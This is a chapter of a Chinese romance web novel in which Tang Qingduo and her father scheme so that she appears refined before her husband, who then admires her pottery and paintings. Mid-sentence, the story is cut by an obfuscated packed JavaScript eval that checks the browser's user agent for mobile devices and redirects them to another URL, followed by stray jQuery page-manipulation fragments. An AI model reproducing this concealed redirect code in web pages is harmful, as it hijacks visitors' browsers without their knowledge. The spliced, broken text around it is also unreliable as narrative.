7. 不像

作品:《白切黑夫君总想钓我

    “不是没有。”青朵刚松一口气,就听自己亲爹摇头道,“是半点没有啊!”


    青朵的心一下子提起:“啊?”


    她不甘心地挣扎:“有没有可能,我是在你面前,所以卸去伪装……”


    “你一进门时,女婿就在身边,也没见你‘穿上’伪装啊!”唐礼说到“穿”字,凭空做一个披衣服的动作。


    “完了完了完了——”青朵一脸绝望,她眼睛一转,瞬间理直气壮,为自己开脱:“这可不怨我!我当大小姐的时候,那都什么时候的事!早就不记得了!还有,我平时也没和小姐们打过交道,怎么知道‘端庄’是什么样嘛!”


    “这有什么难的!模仿你娘就是了!她外婆出身大家,她可是由你外婆教养出来的!”


    “爹呀!我有记忆的时候,娘长年疾病缠身,总是有气无力的,难道我就要模仿那个样?”


    “我都得憋死。”青朵嘀咕道。


    “不是让你装柔弱!是举止娴雅,当个贤妻良母。”唐礼指点她,“你母亲刚嫁过来的时候,早上我起,她也跟着起来,伺候我穿衣,送我出门;即使家里有厨娘,她有时也会亲手做菜给我。”


    “有这种事?”青朵狐疑道。


    “所以说是她刚嫁过来的时候嘛!”


    青朵嘻嘻笑:“所以娘后来也装不下去了!”


    “不是装不下去了!你娘本身就娴雅得很!才不是像你似的要装!”唐礼气冲冲反驳道,“再就是你这家伙出来了,总不能塞回去,连子带母一并送回去,只能凑合养了!”


    “常言道,‘有其母必有其子’,你这家伙除了长相,性格真是与阿罗一点不像,奇哉怪也!”唐礼叹息道。


    “那有什么的,”青朵不在意道,“不像阿罗,就像阿礼,这就叫做,‘有其父必有其女’!”


    “反了天了!”唐礼扬起手作势要打,吓唬她道,“阿罗阿礼是你能叫的吗?只有你母亲能这么叫我!”


    青朵浑然不惧,从小她调皮,父母也就是做做样子,巴掌板子从没有落到身上过,这也不过就是新的一出“虚张声势”。她有另一重担忧,低声对唐礼说道:“爹,你说,我夫君他有没有发觉呢?”


    一大一小脑袋上下排列,出现在门边,眼睛滴溜溜地望向曾正卿。他感受到炽热的视线,抬头对上大小聪明的目光,虽然惊异,还是报之一笑。


    唐家父女挤出一模一样的假笑,慢慢缩头,回身异口同声笃定道:“嗯,他没发觉。”


    “他若是觉得不对,就不会对我们如此和善了。”“青捕头”手摸着下巴,推测道。


    “他一个毛头小子,又跟你有婚约,还能见过什么知书礼仪的小姐!就算见过,也不可能盯着人家瞧!我看呐!他也不知道淑女是什么样!”“礼判官”如此推断道。


    “没错,他母亲也神神叨叨的,他应当对于‘贤淑’没有什么概念!嗯!我还有机会!”青朵精神焕发,振振有词,“爹!快跟我说说要点!待会出去的,可不是我‘唐青朵’,而是完完全全相反的我——‘唐朵青’!”


    *


    “唐朵青”说到做到,果然吃饭的时候,她收敛许多,脸上挂着适度的笑容,殷勤为唐礼和曾正卿夹菜。唐礼在曾正卿低头吃饭时,朝她投以赞许的眼神。


    青朵得了她爹的赞赏,自认为暂且找到门路,底气十足。用餐完毕,唐礼一时兴起,提出带着女婿去祭拜青朵母亲。父女俩随性惯了,打算抬脚就走,曾正卿却觉得头次祭拜,空手而去不妥,吩咐管家出门速速置办一应用品。


    等待间隙,他在青朵闺房短暂休息。说是姑娘家的房间,但也不太像姑娘家的房间。只有一张床,一桌一椅。桌子靠窗放置,桌面乱糟糟,画纸无序堆叠,几只调色盘里,残留着风干的颜料,色彩斑斓。


    顺势望去,窗台上的一物吸引曾正卿的注意,那是一个土黄色的观音瓶,里面插着一个毫无章法,四


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405419|168755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面斜出的树枝,东一杈,西一枝,每一个枝杈上都挂着毛笔,高高低低,像是结的果。风从支起的窗钻入,枝杈上的“毛笔果”随风轻晃。


    他怕花瓶撑不住晃动掉落,伸手去护,却发现瓶子稳稳立住,仔细一瞧,瓶里满满装着水,近水的分支点出,竟有一粒绿芽探出。


    他暗暗称奇,伸手抚上瓶身,这才发现瓶身粗糙不堪,还能触到泥土里细小的砂砾,简陋又不失质朴,有一种未经打造的自然。


    青朵见他爱不释手,笑道:“你喜欢的话,哪天我再塑一个给你。”


    曾正卿讶异:“你还会制陶?”


    青朵谦虚道:“哪里哪里,只是一点皮毛而已。”


    曾正卿的目光落到摊在桌上的画,画中的场景似曾相识,悠长的小巷,整齐的篱墙,还有门口等待的男子。


    “这是……”他忍不住拿起端详,没错,这画里的场景,就是自己第一次寻来,在门口侍立等待。


    想不到她居然把这画出来。


    “随手画的,”青朵挠挠头,问道,“你觉得怎样?”


    一种新的敬意在曾正卿心中升起,他赞道:“夫人真是多才多艺。”


    青朵的脸上扬起灿烂的笑,她无意中向桌面扫了一眼,突然脸色大变,冲上去“噼里啪啦”将下面的画纸一把团起。


    “怎么了?”曾正卿惊道。


    “没,没什么……”青朵左右看看,无处可藏,情急之下塞进左右袖中,含糊道,“就是些……唔……废稿,对,废稿!不能给你看,丢人!”


    曾正卿低笑一声,调侃道:“好,我不看了,保留夫人在我心中的完美形象。”说罢,拿着手中画避到另一侧去了。


    青朵用余光观到他已离去,还不能从紧张中回神,她后怕地喘息,感觉脑袋一阵阵发麻。


    啊!!!


    自己走的时候,怎么没把剩下的春宫图都处理掉!


    差点就露馅了!